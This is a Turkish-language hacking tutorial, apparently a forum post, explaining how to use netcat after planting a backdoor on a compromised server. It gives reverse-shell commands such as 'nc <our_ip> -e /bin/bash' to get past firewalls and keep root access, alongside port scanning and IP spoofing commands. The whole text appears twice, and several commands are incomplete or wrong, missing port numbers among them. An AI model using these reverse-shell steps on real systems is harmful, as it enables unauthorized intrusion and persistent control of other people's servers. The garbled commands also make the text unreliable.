Netcat bir telnet clientidir.iLK OLARAK Unix turevli işletim sistemlerinde kullanılmaya başladı ve daha sonradan windows ort***** uygun hale getirildi.
Genelde bu proğram bir sistemde backdoor açıldıktan sonra oraya baglantı kurmak amaçlı kullanılır.
Diyelim bir sistemde 2121 portunu açtınız o porta pcnizden netcat ile baglanmak icin Baslat/calistira gelip nc -v -l -p yazip baglanabilirsiniz. simdi netcat icin kullanacağımız fazla üzerinde durulmayan ama işinize yarayacak diger komutlara değinelim.
Bir sunucuya bağlanmak için nc www.site.com şeklinde bağlanabilirsiniz.
Bir sunucuda birden fazla porta bağlanmak icin nc www.site.com komutunu kullanabilirsiniz.
Bir shell hesabına bağlanmak için nc ipadresi -e /bin/bash komutunu kullanabilirsiniz.
Shelle baglandıktan sonra bir portu dinlemek icin nc -v -l -p -e /bin/bash komutunu kullanabilirsiniz.
Bir host uzerinde port taraması yapmak için nc -v -z www.site.com komutunu kullanabilirsiniz.
Bir routerdan baglaniyorsaniz uzak bir sunucuyla baglanti kurmak isterseniz nc -g remote_host komutunu kullanabilirsiniz. IP spoofing yapmak istiyorsanız nc -s spoof yapilcak ip remote_host port komutunu kullanabilirsiniz.
Netcatla dosya transferi yapmak mümkün nc -v > komutunu kullanabilirsiniz.
Özellikle hacking işlemleri için kullanılan yöntemlerden biriside bir dedicateda girdikten sonra ona dışarıdan kolaylıkla erişim sağlamaktir.
Rooting işlemi amaçlanmaktadir. Bu amaçla çesitli uygulamalar gerceklestirebilir ancak firewall gibi güvenlik önlemleri oldugu sürece pek başarılı olunamaz.
İşte bize bu durumlarda reverse telnet dediğimiz uzaktaki sunucuyu kendimize baglamak ozelligini iceren netcat islemini yapmak kalıyor.
Sunucudan bir port açtıgımızda (aynı portu pcmizde de aciyoruz adsl modem ayarlarından da bunu açmak gerekiyor) bize ordan baglantı kurulması için sabit bir ipye ihtiyacımız olacaktır onuda www.no-ip.com adresinden alacagınız iple yapabilirsiniz
Çalıştıra nc bizim_ip_adresimiz -e /bin/bash komutunu calıştırdığımızda islemin 1. kısmı tamamlanmış olur daha sonra
kendi pcmizde çalştıra nc -vv -l -p komutu ile dedicatedimıza bağlanıyoruz.
Genelde bu proğram bir sistemde backdoor açıldıktan sonra oraya baglantı kurmak amaçlı kullanılır.
Diyelim bir sistemde 2121 portunu açtınız o porta pcnizden netcat ile baglanmak icin Baslat/calistira gelip nc -v -l -p yazip baglanabilirsiniz. simdi netcat icin kullanacağımız fazla üzerinde durulmayan ama işinize yarayacak diger komutlara değinelim.
Bir sunucuya bağlanmak için nc www.site.com şeklinde bağlanabilirsiniz.
Bir sunucuda birden fazla porta bağlanmak icin nc www.site.com komutunu kullanabilirsiniz.
Bir shell hesabına bağlanmak için nc ipadresi -e /bin/bash komutunu kullanabilirsiniz.
Shelle baglandıktan sonra bir portu dinlemek icin nc -v -l -p -e /bin/bash komutunu kullanabilirsiniz.
Bir host uzerinde port taraması yapmak için nc -v -z www.site.com komutunu kullanabilirsiniz.
Bir routerdan baglaniyorsaniz uzak bir sunucuyla baglanti kurmak isterseniz nc -g remote_host komutunu kullanabilirsiniz. IP spoofing yapmak istiyorsanız nc -s spoof yapilcak ip remote_host port komutunu kullanabilirsiniz.
Netcatla dosya transferi yapmak mümkün nc -v > komutunu kullanabilirsiniz.
Özellikle hacking işlemleri için kullanılan yöntemlerden biriside bir dedicateda girdikten sonra ona dışarıdan kolaylıkla erişim sağlamaktir.
Rooting işlemi amaçlanmaktadir. Bu amaçla çesitli uygulamalar gerceklestirebilir ancak firewall gibi güvenlik önlemleri oldugu sürece pek başarılı olunamaz.
İşte bize bu durumlarda reverse telnet dediğimiz uzaktaki sunucuyu kendimize baglamak ozelligini iceren netcat islemini yapmak kalıyor.
Sunucudan bir port açtıgımızda (aynı portu pcmizde de aciyoruz adsl modem ayarlarından da bunu açmak gerekiyor) bize ordan baglantı kurulması için sabit bir ipye ihtiyacımız olacaktır onuda www.no-ip.com adresinden alacagınız iple yapabilirsiniz
Çalıştıra nc bizim_ip_adresimiz -e /bin/bash komutunu calıştırdığımızda islemin 1. kısmı tamamlanmış olur daha sonra
kendi pcmizde çalştıra nc -vv -l -p komutu ile dedicatedimıza bağlanıyoruz.

